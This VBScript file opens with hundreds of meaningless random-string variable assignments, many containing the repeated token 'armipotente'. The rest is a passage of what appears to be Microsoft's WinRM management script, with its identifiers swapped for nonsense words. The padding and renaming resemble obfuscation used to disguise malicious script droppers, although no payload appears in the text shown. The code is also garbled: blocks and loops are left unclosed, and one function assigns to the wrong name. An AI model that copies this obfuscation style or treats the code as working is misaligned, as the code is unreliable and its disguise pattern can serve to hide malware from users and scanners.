tfKhdPqbLLoBkfK = "WelpAbNOdAiUTii"

UGclLiNRZRnKkoB = "GmRKUckTeWQPhLi"

iWmGumZLceLcPpR = "bLGhvUKIikGSKOk"

WnWGKAcKKKPeUqK = "PvCWmNUmilNNCpo"

WLBOiLdCPGuhGni = "HoLGNULmBZfuetj"

WlcUKaWrRzLoWgn = "ikGfZNkzBLripeG"

WuxxWOuzALGarmipotentecc = "AZWBGOQWzUaWKKn"

qWRpWOzlLWLRWWP = "miLzrWLLcWkvWuv"

cfpLNkbGWRWauem = "sarmipotenteGWadJhpmTGUP"

UokkucoWNmOHuok = "WZfdLBcsWWcmWPl"

mpuiOxxSmbaxUmN = "PiKBqOLfWWgdKzn"

JJOoBUiifkcptWG = "kCgUCGoGcOOhWAZ"

kLBWLPhAWhKSicA = "AbKqLZLLULWCmlz"

bmKcbkhABLkoeLT = "WUikntbitvbWkkL"

qkNUlzaaLWcaWoW = "LpBniWOaLckLpoi"

viLKggWCoNKZfUh = "NKBbIKWfPBfqibJ"

LreNWctgsGaiALW = "cOtuZZlxipcLNxG"

LoiSpLGCNkGteWf = "WcLoucZPWhbihSG"

IoAemLpLLeLIkoe = "KhoBaWZcKNhHLbK"

UhNqrKrrPSiKZWa = "KopWbvcUhqCUHWW"

pdUWpGCfkRZLGmk = "OcxcciaJWbchLfL"

WLLWWoHarmipotenteQKcmxP = "WhGzpmNiivCLPUW"

mqGLkWGepKkZQWO = "PaRLUcvrNPHbcsC"

eKWufnGOlGALWjU = "CcrQmhSKWRfzWZj"

ZTtxKxWoLULoxNk = "dzbhWBAiIqhesGt"

PKlWTWoxcNobGda = "cKCURxUOBkjksAe"

aUGWOBplUGnUeBz = "dLhAKWiGhOfOnfN"

LWfbAuaGipkejzz = "LWWZLeOiKNGjtGG"

GcWhiKhaIbizWKL = "lPZcbmqaigNcbLu"

KmONZRGLihtGmUW = "KzPbWulLzRoWdev"

GoKLUckRniHjpqL = "pPkxpKWSPiWbKUQ"

SarmipotenteWtvocCAiifKu = "KdUpWLOLACUcGoh"

KkpiCWkKbtPLeKG = "xiAkrLeicGoalKZ"

kiukiqUGzfKcBLd = "LvJiOiLzregCGix"

ANAdfOJTxcLLnKC = "bPimjWUKWWjzIoL"

cGkesRGZPbUlWWB = "PNkWJuZSbbiKvio"

kLWKPSAZKWUHHuA = "WAZWLaULCLWicpG"

GKWodppKZkhhRKZ = "GbqphAGWWihIcmh"

mKcAWcPaltUbcUs = "cNqUKcaeomZqLoG"

WnLrGlJbSqLqjNR = "HLcBqfWNpizZLLe"

JOicuvUGizNNUoj = "ciqZKeAfWLxNUpW"

WLWRZLaCWCWWLee = "oPZqUicifpABlQa"

oovLGGdGcdcLKLU = "NKeQnthWArmLJBU"

aZsRLivAGRGZIqz = "AvbKtmoUcPnKGnW"

KCWGpiLLgAijBLS = "WHeIhcGpfkxtJAs"

RzkmfjKAfAGGpPj = "hahcLPLbmdQCvUl"

oPpZmUGggfbbKlA = "nbZipuhWocJhIfe"

gZfWxjOUWCueaNi = "qluWhKfLmfUKksQ"

dUgeWRGzQLOmLnp = "WbLNgnLkgoKidjK"

LGLiWoLHAxvpvLk = "KBpfLoWiLfNPWKz"

KUWhPbLRZKcPeKZ = "icaUcLLAolvsWdr"

oBKhhWLNWGeigJB = "LWGPliuTiKWLRWK"

utWWWfAiarmipotenteLncvW = "KvUrKKKiIbWWfSc"

ZKcWRWhvfiGWWel = "BeWexkchiLALkli"

froaaQpamhllpLp = "fLKdNpuZUCzmUUi"

ueaKizLCaKPZhRG = "KcKzcTRhfUidkJW"

KphSnGKfSQzscLW = "LIhzWllzGNoUWWK"

jRABvLAbGBHQNmn = "bOLLaeikbmiixLi"

TrhhdWkxiZgNiGc = "diGeeWRarmipotenteZLkrct"

zizLPcneLmCWWLr = "UAKRNWhsorulearmipotente"

qLGUUPcBWhGKcIi = "AzxcOPPlNcWvGeG"

KOhKKdxgiKWtWeb = "GLKOCLiKktKfLLL"

mxbKkUWpLlZPbzf = "armipotenteWWbhqKPakUKcx"

tiCvKoJWuAmGpbR = "hrfmCJbclBkHAub"

CWijnWTsoiqGSKp = "kKKAZWeaAxdeLzW"

ciKKLehbkPiZolA = "eoQlAGUGvAAkWWi"

ifONUZhAQcKbUpK = "LWKLkLpkLKCGfGu"

hBhmGbmiWZGGfAu = "bLGqUeuJbWlPfeo"

pnomlAoibLkcbbq = "eNKfLspcWdkUJKc"

xAxoUbmxKlGKtfh = "LcpPLQchKPLAnPL"

OicehJShaktpfHH = "iIpxkPeBqZfCKWp"

ennWtkJquPpnLis = "iOgtiLarmipotentecKWeoTo"

oaWKaldcteACNcK = "hixchCdiNWLhzNO"

KWjOANhicciLlmm = "hGxKbCNbZRfWarmipotenteN"

zboKkipLLoLcArB = "fiLCsnxRkekWtKl"

fcRLKiLkbmiUGoG = "buWRiAiiWSQWzkj"

xKbWLLcUbKJCzqg = "felAUqqcGzdaNnZ"

WejLLfudLthlkLW = "mLixLxocLuWcGAx"

hKWALLOLaKKqdLW = "ffWNZfcxodGKvzR"

LCdhGnhifzhkRaK = "WiGKqeLkWmAkmiv"

KdKodiGWNIkkiWc = "BWLQZurLRxQBWKG"

PLakiioxAKANcnW = "tGWKGTBLsrfWoBZ"

WaoWxaWjWsWGmLA = "pqkhqlcLjKzGbtb"

LJoNcHxnoiucLIc = "LjAmLUiZoWknfLN"

UZkiLizUcLKRNrR = "OKaRoLibIUpPLKB"

AfBKzLPoLaoSccz = "nhKcWkvTALaonzp"

oNJaKhIBteGmnWo = "jWKPclLWeNvikca"

tZezxciqqzKmBAk = "cdonuGAAUsWlzWk"

WAKmdzpaeLbBNbN = "gzZiqtLkiWAOcPr"

PKepkzsWdqWfvLB = "pKLlZAqmJnAlkTG"

dOGWkbLpuoULzGu = "BmTiaWKGcfUbudH"

LROKgRPRGKfWHRi = "moKBSLzeLNWlumA"

KLiWGxqWOAKZeiA = "sLnAoRkBnmaGGLG"

kLRKlrmWGLekqPg = "NsxWeQfiBjlKWJJ"

QWZKzzWeAWWNhLA = "KcGBkKTziuiUpWK"

mkxfzzaUleLbNpp = "xtaioJzLKWbidNG"

HoczKIWLGbLLlni = "cWWPZSKLHKvWzeo"

ALlzLLxWLadezak = "NPtNKUiGzbWOZLt"

ApHiKuqWqokzcxL = "GACvLGtoRLdKtGb"

olpGtKtcCkkaWZe = "LmLWWKxRlPxeccK"

fULWegikkWkGKdL = "OefWzWovRLsfLLe"

WsGAsGLWWTzGWNK = "pmLJgrvWWGqiikP"

ubuUKcLWokqiAcG = "gaWCIkorWqPKUjh"

uatcWKfRiuuxciO = "kgkLqbRAonePzzS"

cLziOWCWceWWuKQ = "KLfqWLmhAALGpoN"

UcUUBCfLeoxWWLi = "dWZGOaOIupRzrrL"

ilGiLAbikJxpxoZ = "acNNGNbWnWNGGep"

BJLotUABWnNcULA = "iZLTaCpAoxkzWKl"

tHiimBaWKiivxmW = "GziaiLWAfxZKqtQ"

UkUdamLtkLhBxix = "bWkmWpLKLQWeopz"

WOWAiWfLkoLOOcN = "qnWkHLWLfnLLUCi"

KLGUoKcWarmipotentezcmzp = "ArKWlLakZxtZzCG"

PiIZzjWmilPpiGl = "iLosmcLCoiKlCRo"

OZqcLbCLLLzASCk = "PGtKRWzALncWiUl"

armipotentetGuUqBeUBtqzi = "AWcKJiChflhkGLK"

fZmPiBljWazbCci = "LrAGefegWAogGdi"

LiKWiLciWoiiCaL = "WWmWhNerkbZSxBK"

WZkOKqvThqtUQBh = "tLWoKtLSGcZmhZh"

xOKLBrtOiUKcLWr = "ASmtPLGeClOxnIp"

WcWGrdLLZtzxWke = "ONiTZbzKbBrnzUN"

tmoUGlLdpPexpLe = "IWLOLWpGLWgRWkG"

WOtWiALozkLufKi = "mnKcbLbmKJnKpPn"

NmnzxWzceKovblB = "WNBZivLSLUWGBTL"

UGaZGGTftqkCfUW = "czWicSzrKpkZBvL"

ULGKWsPWeAoUmLm = "plLHtPUOLxclGGd"

jmKskbxloWOPPio = "cceciHKCuNGPBRp"

fKOzedLWJhGLiNb = "PiiUoqGuZiOPvqk"

qLLPjqieZWpGoGW = "nvxQWtGKiBInWmP"

PiKppCbWZWLhPqt = "WWLWKAiiomUAKNc"

AbqmAfalAlKzoWU = "cKnSnRiecoIUABJ"

armipotenteLKWWJxIBBWNfo = "cedALWWciGhLTWv"

fisRJbKOnAPAfLh = "TuLjBloBaRZcnGZ"

HzRPfkGzLlhxLzx = "LLWBlQLLLiKzzbB"

dLJdKGaGdjSGqtK = "CbLhiARdUkCcvOn"

ltmsvWhRexKnAvG = "kUgPptIfccoQaLx"

kseckNIpWLGlWUc = "uldoLmhUpkGZrpk"

dLKWbkoqkxxWhfd = "CmGeKLCLpfoLlBG"

kNWffcLKKiGecSi = "KUKRLUfcOeiWxWL"

NKkjcmUfTugcNNe = "UohKcJLLfeRGoKG"

RQZfaWGqTWfzLmK = "LObeLfULLWKLWid"

UpvicAhdQafWgfO = "tBRmiiiauarmipotentexWxA"

gWzLGeLGULKTpOR = "LWKubBncWiLbdKN"

mlNkhdWdmqWkKlq = "AmtPeiWWnOPGSGR"

nzCKAWmWGpbxpPN = "IPWqNzOtNWPpoWL"

CqILtobxvQqKRob = "UiWZiKAuRaQLTZR"

kcsBoKkvLZZRiib = "xbdtkfbWaGbbinH"

rUGWARfLLhKWqpz = "KJhWmWfKUpLqarmipotenteP"

nKcUrxpLPpUmnkf = "IbRZNbPZTKGfkRK"

WWbsAdPltoKCWBz = "fmbzoGNcHKGRBLG"

WGigNKWlApiBePm = "LRiUtWTBcSolZiT"

mxWbhmxphKpLirS = "GtkLeGbKnLdxkWj"

PbkLKLexltWPCec = "ZpPWGnZSlLlaacm"

pWjKGqGGmqZWqWN = "aASBKLGhzifLiqi"

OiGLdWmZNeRlopI = "LmGUmLLfWeecGvW"

UParmipotentedzpNACmsLkC = "GKeoWKnKmWdCpUq"

dqkCWiKOiUbWNzW = "KWpLfZgZGAoPKAW"

OGbZJWjtUuLABuS = "KIRRrfKQoooLsKb"

lKqRzWNcBoWbKlA = "tKiZUGkgRoGiUWN"

cNApUiLazvLGKAP = "aWlKjkcsGcTkiAN"

KWLtULZLzoGcWfU = "nKnRixrhxeAZLcL"

pPgomxjWkqWCGlW = "JmhAzaSQfcpaZiG"

dxWWcJhmPCULmNK = "iZeCPLfWGeibgci"

cWGvPdCWWnOpLkS = "RKGALNkWLohbLZC"

dWiULzoLbUmuKiU = "tNpmAGJgKGZqxCK"

jpLSGtsLWlqQiAN = "KiKbxtntdoLaJhN"

rlLffKJhBpicLct = "urBrmiijdaLLWcW"

kzJGWeLcIqCxpWp = "ZmkUmfkiSffcWvK"

WkcPSmIjLjLKqnW = "cuhefgZGeWiKGhL"

RBiHUJZkLhbGppA = "dLLRKGlWLWmIhif"

ZcUWeLAGUSGUScJ = "HmmZemiKAizKQjk"

HKckxizHfnKecmt = "otWieWWihtkUKCN"

KJGbxbCgINiWaLN = "CuLoPGelarmipotenteTnAiQ"

WWTsBefhNtKcuPW = "WGGeLWcKWoTiHLL"

qLqbQLLKGztZAKi = "zLoKlCWCKfmGhuQ"

LbiaGWAuxRbrLHm = "nOmlicBZGzOLnkg"

khOWLGeLqLoWLhW = "LubGoKnufheSrCp"

GKWbbWGLLlriANv = "NaZlZpjmaLkxvNK"

OAskbPAWBmAcrdo = "htOJGLUsfLmbUKK"

bIHLIRbUcbfWWzo = "RWWWKRWLiZzpWaC"

nNJCqdNdocKmkld = "UkeWUPNQRCGxcZU"

IRCckBjcZLmojSC = "jiKWtSZKRruGLKB"

OxiZmLKGNWoLifi = "nvBNGCeUTWhKnKc"

ALQUqiAzGtfWKLq = "KWnZCciPLLjLccc"

xUoKWjZLNRpWkKW = "GGmnLldLmRcBqdN"

luiGzAJGGihNWHz = "huPnbLipikzhcUU"

CGWcLcKWLeKQemm = "ZWnJbGNqqLBTKHl"

UGUxIOaKhLRiuZS = "schUWCAdKGJkSdW"

oAccuktLkcJzNkp = "WfNZaWmKqpibWWO"

tlPfpudijlkdcGb = "bkvhcvcWoZPKLAL"

WpchNmkktROGcdb = "AWLnzNniGuUNeeG"

hWfxhkcqzWagqrc = "qcCLGGqbbWxfKKh"

iibPUldvgizhKKr = "BpfqLKhiShsKWBd"

mzaaLWeGKmpoNWk = "LrWUijuqUhfWfLR"

LGReLANzlWKdUjK = "GmqiCGhfSULdWAs"

PWbhcKhWzbUkWvG = "ucUWAcbLmgluUpl"

uOhLOiUNkeBLbGa = "tzZULKizZzRZdWL"

UchkUAPGWPGarmipotentemf = "eGLnOLceAQfLBPq"

GdKkeWmOGbLUWmR = "iNlWaGGxlrGbTcK"

sWKKzbaKLkevRiZ = "WKLnAeZKrQGIbLN"

uWHmiItQnuKLeKd = "KaHcUPHWWstmGhb"

skKLkLbogAULULA = "GpZkczZnfKLWcPN"

KteZiPpmlKZfCOr = "bbUcmZobUiKdGvK"

luUBAkWZWLLZWif = "btZLkALpimWkPnO"

WlkUKcZKfKKGWpW = "RAlsLKcGWKULbcR"

pWmWpWGbLGePUzG = "oBcpuLqnzmKjhSq"

kLkWiWkGxsLpLcL = "GNCUoWRQeKLUiec"

pdhLhcxRzPNtKGZ = "ReOoWtUhUCoGcxh"

UOWcOCPUqmpdNuI = "zmoxaLkdAWLqfKe"

UzSpuUoLGAZcLob = "fpnKiUzezmTAkKW"

OgZWGiNoLmzepeN = "LUvcLdriaZmxpSW"

ppaBtNmZUvGpSKL = "xxWeZmWmUcWWzbL"

xQdGgkiGxSiUAuN = "SpqLKZpKZcqzUAB"

PLiNiiONlCGcCcf = "mNxUAaNRcGlcuaQ"

KhqKLLWvWniOLGi = "NzZqgxGWCQUWRzO"

WTLimpibetkiicL = "bezjiBNIKLNZWoK"

NGkfWUpLSWWdexP = "eummziiGaTKincp"

cibJeZzddcLNAmm = "GrWvLdWKLhtbSLd"

eeZUKzditiLPWcc = "dLboQonRudGLKci"

LitLtZpkGLvJCSG = "rhfjcNWLWTIPixi"

CcmpGcbjGWGZPTW = "KLicHWPamzLnnkc"

ihexLQLmZhmelaL = "oWLfLCUNkNWGzcO"

LcLfplQcGKCGtti = "ALWHOsAcarmipotentepSUzB"

LWKfaNoLmWfAWKZ = "UqKKsnzUgKLCKIh"

QGhNdPLuNiubAfo = "PHJWiKoLkLWmdCj"

qmIkfOCNzkuGkqz = "zrWPNWLZALcikWf"

rWLWLIKxWQLpoUt = "CfxGeNoSWKLGKGG"

oSiRqfUsqzCexGz = "OsmmOtkkUqcWZWW"

hcWUBqcfclpkCZC = "tUcaLCzLALLcoqa"

vbkKLtQKceCGfGW = "UKZGtRRunkoiAUL"

oUoLfcrAUGKGaJW = "PLiodeiQhWrhHLG"

LGAlpILKKSZmChk = "oZuKBWxSnxNWuGa"

miWpOvcfdKZeNvc = "kkAUfciqLaUAmLL"

aWWnkAAAGUxLUtO = "vNCGjdhLikBzkhk"

zRioNTzKmQzizgn = "UWdLqPKapRaUWWk"

iUacfLqfZiNOcKz = "CtKbibtNmPGKPWc"

bixcWiWUoIhNOLf = "aoIbWvLUcCcfOzh"

ZfWkGAHpSZObWWL = "LGRLWJrKiLmUlWK"

iLOmUkTrOlLGmAf = "RWiuLZsHLUiGbUK"

fOWKxHKLWgpUNZc = "WLpcfukSiCGUaeh"

NWKLGiAckWRBezK = "fWKQPGWxOPZcKpz"

riokpoCfqzUtPWL = "gUWvBNvSgKWALLf"

OLZUWcZecxzWcQB = "GKoWAxPRxtBWuLl"

RbWLRZKLQpmSRba = "LPuLzcAqUzNfPtU"

ZUpGaPUxpHLnSZZ = "KLSKhdmicdpiUWi"

GmpeWLdhzmKKJKG = "KLzkGploOxoWAna"

GLiRZAWfdKPBafo = "cJKoLlLcefLxaGh"

oWTfjoeZvimWaSi = "iuoRkGBKmcWhZGL"

UfZLiimsdLKzcUg = "ZBLhcUNUoIWarmipotenteel"

fZSCffAAdmKrLzz = "GGgxvKxUGcIPWWG"

ickcGLoxitObkUl = "iiPutpghLWCPzBG"

WAeimPvLKWCLtqt = "WjkvnhcxBHWkLcC"

jKuLiSGINbGZxLm = "zLoUlLCmuLuokNi"

igLKniLvHhbtcNN = "mpWmhhUUGSrRfGU"

nRLmWSmhxPWmbAe = "oZrzKiamidUUKKc"

sAtWLzhqvWoUQkG = "LQWRAPOzKuWeHti"

pPGrWzZzbWbIZri = "AcnKLleLxBUeWWs"

KWGpiciCarmipotenteAkKrP = "NWKLPHaLcmfUmQx"

isnolWvLLKLZZUK = "uUakeOiuRQdibLv"

ipLNbGrxRRGacgK = "LvLLGUbKLBNekfb"

eNIciLflWNcxLRa = "qupiLhezQTQzUhK"

iWiKOWxhLeaaLhW = "GKPuaarmipotentekooLmkNl"

xGLZZmvetiWZeij = "zkZAWgzotopLiuf"

rcoKqiGpiLrkJos = "ihzBJpbqicKcdve"

WWicKUbeWGoxnBS = "xKhNWWxurWWibsv"

LAAcdnxcKcJiUvP = "QodLfcWmuWiLJGW"

xSkUKxIKzBGLdci = "ojaUuhORkSGqtfe"

APiNKaLrGhlWcmB = "LeaZbCdcxoQeiqL"

nLLqriAPqPhePhZ = "AKWazedJKRkrBRW"

UexdWotpOLKUWRN = "qpWzicddZKszGhl"

BmBOLhZUBbHKRmx = "WceeOBLZoWjCSLG"

miLjpqbksdeeqaL = "izeULiZqNPdsKAi"

ecZLiSqkbveUpRN = "KtxbdixuzqZeeAd"

cOoNkApsLcfkWxm = "mciZLonBhzgcont"

iWZefKazbUfbGrb = "IKfhLRkcKUufIBu"

PvWxcqhcuGhLfeW = "cWaOKlLPLaGfibk"

LGofjecGcuoCdGB = "SAULWAsANWGmkRo"

nWqmKKzLxcUZSWG = "hWZSWWKNxzKeGxc"

LtNBaWHharmipotentemAqgW = "xkWLLeiLUWxAiIo"

jePbzaLGmWfSLAm = "WilRAbLWiClfpcz"

HZqqZgfhktPNioq = "dBAGsLicmWozpeL"

BcWxZLmRLGavvie = "lpWLiGKWnLfBPcp"

ckhSQnipcNcKhih = "pgRZUcSCcQpiAmL"

jiLKUiWqItISLZL = "WtimoxnKkzftWqW"

RvOKlKoiOkLvzUK = "zpZLPANGcZUKLkq"

hudWmGLeptcdBKq = "kiZeWKWPihKGLNW"

BRubLrfzNkLiItm = "NbLiktGWLWKWefj"

aesKWKKRWUZKLOb = "tkLzCRpdUkWuOoc"

dWGtKisPLfBizGR = "dLemIUicvNlWWik"

zunCGmqnUdeegHg = "aamKnOLpoWWqLLa"

BZLvKhZvkWgpUWP = "ZqWLLcgAkBCLLgk"

KfLcniWfkcilLiW = "zLcAZdCbTzIlqTu"

LeCiLWWGudiWaCk = "ImWhcccmqHiOUpC"

AhLAcKAZsOlCLii = "hCuiPURBfpTKbLc"

WJKxlxzOKLbnhhb = "zJtdnZtcbKLZjQL"

qUiPSLxUUqlWPoz = "RfxLHHrsLRcKRKN"

nqKmHsdJUncoGbc = "mWkLPNhncAeANlk"

WlQakKLgUWZhmkc = "iaGIfKPlTubxetg"

mbpLKBxfKLApLzq = "iGGiKULzcbJACPb"

IKqiLtdlonGLkoL = "HlRcdiGZaeaKLRx"

WaLfmeZipWztGlc = "PevqWfGmUoZWnlo"

fLmWGbzigKPLNUs = "KcLapopLpumdezW"

mqbWkLaGifOLWIa = "WciObezbLCLAoca"

dWUtzbactLiWboL = "LPIaUPHiLzWbSqf"

cSSUfinCPWOUgWW = "clpzGWAcisWufeK"

JeWQciPKfALlWCl = "zbWjteULnKmcWBi"

oKWWKQuWLLKjKWn = "WHGWiKbcvCAbczG"

iLzGefOGWzRGLoN = "GiWcHWWKAtGjmxm"

KdIiBulGPxGLIkC = "lGcbgxkLimLUxlp"

PWuWKGLNbWjWGch = "CLbQonTfqoKUJhz"

iCKOKKmoSZKdWui = "KJqqNWLLCZBRWRq"

ooBpfZtLLnGWhJo = "GWRbdBZfiOzmWAz"

JflcLWWhOrfnNGl = "HficpRLLLmKLWNQ"

RhjWbpOkexczHuN = "OLfnfzNKKLGKZdh"

qLobNkLKLWKcZHs = "mUpaKKZJWlPkeKC"

NmhkCmKQdcsukUL = "kkqHOdLiupfJUei"

LAThuSubjeuvcdL = "UpUWmWmhAeplCiT"

WChPLzbBiiHuhbL = "WkxULcGWdeGHcBG"

LcWUNWWGapIomOJ = "zLoZcWAfGuWGoLA"

kcTiPJcAkdHJUNd = "ZLrNPWLLpWheLPi"

NBKTUcazUWPBWOf = "rPUmKmdoKegOcUK"

fluLKKhRfKCCeqC = "KkhWqhgLIccPKLL"

kczfdPuBZWoLGbl = "skeWezSqLkNeqWZ"

GlLtUKRNWASAccL = "ZZpRUbKLATLWRrc"

UhBlJOKqCafWkcm = "KWpNetLLiGzBPpZ"

kxejlLoNRcvpUvZ = "iGciIvcsGLpzcsu"

GiqKGBsoGaUfzqh = "xJJLUCcACUOhLIU"

ohhvbKOiKecvCLU = "uUGZGIGUeGmLsoW"

mKoxZAeGKhnUofo = "LmnetLKuLunmIOh"

dvfOLWiPTLbonjL = "mZBWlNPLUUAnPJQ"

mqLcsbkeLUkiPcl = "hLkBiKOSNWGtaSp"

nGLceidbLKLPtkW = "LLZdlUUbcBWiRqc"

LckhkpeWKAiPKIG = "LbmANNGGKUNGalu"

iGUBaWKWGoWWomP = "cLfNTKKZRmhfaRW"

clfWchZaseCWciG = "WUKAlLNRadLloKO"

LALGihWJmqKnczd = "BqtuWLLrlGmpiPi"

'''''''''''''''''''''

' Helper to run xpath over msxml obj and find single element

Private Function GetElementByXpath(msxmlObj, xpath)

GetElementByXpath = ""

msxmlObj.setProperty "SelectionLanguage", "XPath"

msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""

Dim elementList

Dim currentElement

Set currentElement = msxmlObj.selectSingleNode(xpath)

If Not currentElement is Nothing Then

If currentElement.hasChildNodes() Then

If currentElement.childNodes.length = 1 Then

dim aNode

Set aNode = currentElement.childNodes.nextNode()

If aNode.nodeType = NODE_TEXT Then

GetElementByXpath = aNode.text

Exit Function

End If

GetElementByXpath = currentElement.xml

End If

Exit Function

Set elementList = msxmlObj.selectNodes(xpath)

If elementList.length = 1 Then

Set currentElement = elementList.nextNode()

If currentElement.nodeType = NODE_TEXT Then

GetElementByXpath = currentElement.text

Else

GetElementByXpath = currentElement.xml

End If

End Function

'''''''''''''''''''''

' Helper to run xpath over msxml obj and find single element

Private Function GetElementAttributeByXpath(msxmlObj, xpath, attributeName)

GetElementAttributeByXpath = ""

msxmlObj.setProperty "SelectionLanguage", "XPath"

msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""

Dim currentElement

Set currentElement = msxmlObj.selectSingleNode(xpath)

GetElementAttributeByXpath = currentElement.getAttribute("Source")

End Function

'''''''''''''''''''''

' Helper to run xpath over msxml obj and find single element

Private Function GetElementXml(msxmlObj, currentElement)

GetElementXml = ""

msxmlObj.setProperty "SelectionLanguage", "XPath"

msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""

Dim elementList

GetElementByXpath = currentElement.xml

End Function

'''''''''''''''''''''

' Returns XML ns depending on the type of URI

private function GetXmlNs(resUri)

dim resUriLCase

dim s1

dim s2

ASSERTBOOL Len(resUri) <> 0, resurgimento("L_URIZERO_Message")

resUriLCase = LCase(resUri)

if InStr(resUriLCase, URI_IPMI) <> 0 then

GetXmlNs = StripParams(resUri)

elseif InStr(resUriLCase, URI_WMI) <> 0 then

GetXmlNs = StripParams(resUri)

else

'//GetXmlNs = StripParams(resUri) & ".xsd"

'//This was reported by Intel as an interop issue. So now we are not appending a .xsd in the end.

GetXmlNs = StripParams(resUri)

end if

GetXmlNs = "xmlns:p=""" & GetXmlNs & """"

end function

'''''''''''''''''''''

' Verify if target is in IPv6 format

private function IsIPv6(target)

dim regexpObj

Set regexpObj = New RegExp

regexpObj.Pattern = PTRN_IPV6_S

regexpObj.IgnoreCase = TRUE

dim matches

set matches = regExpObj.Execute(target)

if matches.Count <> 0 then

IsIPv6 = true

else

IsIPv6 = false

end if

end function

'''''''''''''''''''''

' Extracts XML root node nm. from URI

private function GetRootNodeName(opr, resUri, actUri)

dim uriTmp

dim sfx

dim s

dim regexpObj

Set regexpObj = New RegExp

ASSERTBOOL Len(opr) <> 0, "'opr' parameter is 0 length or null"

sfx = ""

select case opr

case OP_PUT

uriTmp = resUri

case OP_CRE

uriTmp = resUri

case OP_INV

uriTmp = actUri

sfx = GetSuffix(resUri)

case else

GetRootNodeName = ""

exit function

end select

ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZERO_Message")

uriTmp = StripParams(uriTmp)

regexpObj.Pattern = PTRN_URI_LAST

regexpObj.IgnoreCase = TRUE

dim matches

set matches = regexpObj.Execute(uriTmp)

ASSERTBOOL matches.Count = 1, resurgimento("L_NOLASTTOK_Message")

uriTmp = matches(0)

ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZEROTOK_Message")

GetRootNodeName = uriTmp & sfx

end function

private function ProcessParameterHash(hashString)

on error resume next

dim matches

dim m

dim regexpObj

Set regexpObj = New RegExp

regexpObj.Global = True

regexpObj.IgnoreCase = True

dim resultDictionary

set resultDictionary = CreateObject("Scripting.Dictionary")

If Len(hashString) > 0 then

If Len(hashString) > 2 Then

If Mid(hashString,1,1) <> "{" Or Mid(hashString,Len(hashString),1) <> "}" Then

stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")

set ProcessParameterHash = Nothing

Exit Function

End If

regexpObj.Pattern = PTRN_HASH_VALIDATE

regexpObj.ignoreCase = true

set matches = regexpObj.Execute(hashString)

if matches.Count <> 1 then

stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")

set ProcessParameterHash = Nothing

Exit Function

end if

'following check ensures that if we have unmatched substrings

'we report a syntax error. the way we determine is first to

'calculate the expected string length by going through all

'the matches and then comparing with input string length

dim expectedLength

regexpObj.Pattern = PTRN_HASH_TOK

regexpObj.ignoreCase = true

set matches = regexpObj.Execute(hashString)

expectedLength = matches.Count-1

for each m in matches

expectedLength = expectedLength + m.Length

'account for starting and closing {}

expectedLength = expectedLength + 2

if (expectedLength <> Len(hashString)) then

stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")

set ProcessParameterHash = Nothing

Exit Function

end if

regexpObj.Pattern = PTRN_HASH_TOK

regexpObj.ignoreCase = true

set matches = regexpObj.Execute(hashString)

if matches.Count > 0 then

for each m in matches

if resultDictionary.Exists(m.Submatches(0)) then

stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)

set ProcessParameterHash = Nothing

Exit Function

end if

if LCase(m.Submatches(1)) = "$null" then

resultDictionary.Add m.Submatches(0),null

else

resultDictionary.Add m.Submatches(0),m.Submatches(2)

end if

ElseIf hashString <> "{}" Then

stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")

set ProcessParameterHash = Nothing

Exit Function

End If

Else

stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")

set ProcessParameterHash = Nothing

Exit Function

End If

set ProcessParameterHash = resultDictionary

end function

private function CreateAndInitializeResourceLocator(wsman,resourceUri,hidatidocele)

on error resume next

Dim key

dim resourceLocator

dim paramMap

Dim optionsValue

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

' create the resource locator object

Set resourceLocator = Wsman.CreateResourceLocator(resourceUri)

if Err.number <> 0 then

stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_RESOURCELOCATOR_Message")

set CreateAndInitializeResourceLocator = Nothing

exit function

end if

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

' set the options on the resource locator

optionsValue = hidatidocele.Argument("options")

If Len(optionsValue) Then

set paramMap = ProcessParameterHash(optionsValue)

if paramMap Is Nothing then

set CreateAndInitializeResourceLocator = Nothing

'todo exit function

end if

for each key in paramMap

if IsNull(paramMap(key)) then

resourceLocator.AddOption key, null

else

resourceLocator.AddOption key,paramMap(key)

end if

End If

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

' set the fragment path and fragment dialect on the resource locator

if(hidatidocele.ArgumentExists(NPARA_FRAGMENT)) then

resourceLocator.FragmentPath = hidatidocele.Argument(NPARA_FRAGMENT)

end if

if(hidatidocele.ArgumentExists(NPARA_DIALECT)) then

resourceLocator.FragmentDialect = hidatidocele.Argument(NPARA_DIALECT)

end if

set CreateAndInitializeResourceLocator = resourceLocator

end function

private function xifofilo()

if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then

xifofilo = True

else

xifofilo = False

end if

end function

'''''''''''''''''''''

' Reads input XML from the stdin or builds XML from @{...}

private function ProcessInput(wsman, operation, root, hidatidocele, resourceLocator,telephotographiaObj,inputStr,raucissono)

on error resume next

dim parameterDic,key

dim putStr

dim elementList

dim currentElement

dim paramXmlFile

dim tmpNode

dim parameterString

dim parameterCount

dim xmlns

'make sure it's a relevent operation

select case operation

case OP_PUT

case OP_CRE

case OP_INV

case else

inputStr = ""

ProcessInput = true

exit function

end select

xmlns = GetXmlNs(resourceLocator.ResourceURI)

'process the parameters into a Map

parameterString = hidatidocele.Argument(NPARA_PSEUDO_AT)

parameterCount = 0

If Len(parameterString) Then

set parameterDic = ProcessParameterHash(parameterString)

'if parameter processing failed, exit

if parameterDic Is Nothing then

set ProcessInput = false

exit function

end if

parameterCount = parameterDic.Count

End If

'if there were no parameters, get from file

if parameterCount = 0 then

if hidatidocele.ArgumentExists(NPARA_FILE) then

inputStr = ReadFile(hidatidocele.Argument(NPARA_FILE))

ProcessInput = true

exit function

end if

